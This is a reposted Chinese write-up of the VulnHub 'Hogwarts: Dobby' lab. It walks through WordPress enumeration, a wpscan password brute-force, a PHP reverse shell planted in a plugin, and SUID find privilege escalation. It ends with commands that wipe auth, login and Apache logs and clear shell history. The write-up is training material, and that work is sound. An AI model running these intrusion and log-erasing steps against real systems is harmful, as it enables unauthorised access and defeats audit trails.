自学内容网 自学内容网

vulnhub靶场【Hotwarts】之Dobby

前言

靶机:hotwarts-dobby,ip地址为192.168.1.68

攻击:kali,ip地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24扫描发现主机

信息收集

使用nmap扫描端口

网站探测

发现只有一个80端口,访问查看,发现是apache的默认界面,查看页面源代码,在最后发现一个可能是目录的地址

访问这个目录alohomora,发现给出一段话,该话大概意思是"Draco的密码是他的房间"

继续收集,使用工具进行目录爆破

可以使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具

gobuster dir -u http://192.168.1.68 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403

访问phpinfo.php,确定脚本语言为php

访问log,发现一个密码,以及一个目录,结合前面的用户,应该就是其密码

用户名Draco,不过这里的密码应该是经过编码处理的,很像是base64,尝试进行解码

echo OjppbGlrZXNvY2tz | base64 -d 

结果为::ilikesocks,那么密码应该是ilikesocks

访问DiagonAlley,发现一串字符,疑似是进行编码处理的

借助网站https://www.dcode.fr/cipher-identifier分析是哪种加密

发现是brainfuck,尝试进行解密,但是这解密出的内容,不知道有什么作用

不过这里可以明确的看到blog可能是博客,使用whatweb等测试其指纹信息

whatweb http://192.168.1.68/DiagonAlley

发现wordpress,那么使用针对其的工具wpscan

wpscan --url http://192.168.1.68/DiagonAlley

发现xmlrpc.php

那么尝试进行用户名枚举,看有无信息,发现用户名draco

wpscan --url http://192.168.1.68/DiagonAlley -e u

那么之前的信息都对上了,可以访问wp-admin尝试使用draco以及前面的密码ilikesocks进行登录

这里的目录wp-adminwordpress的默认,或者可以再次使用工具进行目录爆破,也是可以发现该目录的

但是使用这一组用户名和密码并未成功登录,尝试进行密码爆破,这个时间比较长,所以要等待一段时间

wpscan --url http://192.168.1.68/DiagonAlley -e u -P /usr/share/wordlists/rockyou.txt

漏洞利用

最终爆破出密码slytherin,在等待的时候,测试有无插件漏洞,发现没有,也就等待爆破结果

找到插件,测试是否可以修改文件,发现可以

那么就尝试进行修改,首先启动插件,选择一个插件进行启动,这个插件hello dolly,就是右上角的欢迎语句

然后再编辑插件文件,可以把kali中自带的php反弹代码复制到插件文件中,使得可以获得一个反弹shell

该文件在kali位置/usr/share/webshells/php/php-reverse-shell.php,修改脚本中的监听地址为kali的地址,以及端口自行修改

kali使用nc监听1234端口,然后刷新浏览器页面,可以看到获取shell

使用dpkg命令查看靶机安装的python版本,然后获取一个交互式界面

dpkg -l | grep python

python3 -c 'import pty;pty.spawn("/bin/bash")'

反弹shell成功

收集靶机内的用户

切换到/home/dobby,查看其目录的文件,发现flag1.txt,使用tac查看

提权

水平提权

这里考虑到之前的用户名和密码,那么使用ilikesocks密码切换用户dobby,发现成功

使用ls -al发现几个文件

先查看.bash_history发现用户dobby的命令记录

使用find寻找具有SUID权限文件,当然可以按照历史记录中的命令也是可以的

find / -perm -u=s -type f 2>/dev/null

测试sudo -l可用吗,发现不被允许的

对于上面的命令,可以借助网站gtfobins.github.io查看提权方式

sudo install -m =xs $(which find) .

./find . -exec /bin/sh -p \; -quit

垂直提权root

然后在shell中使用/usr/bin/find . -exec /bin/sh -p \; -quit,提权成功

查看最终flag,也就是在/root目录下

当然,还有上面的base32命令,不过这个主要是进行文件读取的,所以可以利用这个查看只有root才能看的文件,如/etc/shadow,然后获取后再进行hash破解

为了省事,这里就直接使用查看/root/proof.txt文件

清理痕迹

日志清理

这里不再截图,直接以命令展示,把几个文件中的数据修改

sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log

反弹shell脚本清除

把网站中的插件中的代码删除掉,复原原本的插件状态,也就是不激活插件

历史命令清理

history -r
history -c

总结

该靶场考察以下几点

  1. 页面源代码中可能存在注释,导致信息泄露
  2. 网站目录爆破,可能发现敏感文件
  3. CMS指纹识别,对于wordpress的了解,以及wpscan的使用
  4. 反弹shell脚本的使用,或者自己创建,如php一句话木马都行
  5. 提权方式,这里是因为SUID权限文件包含find以及base32,并且是可用的,所以提权成功

原文地址:https://blog.csdn.net/China_I_LOVE/article/details/144779883

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!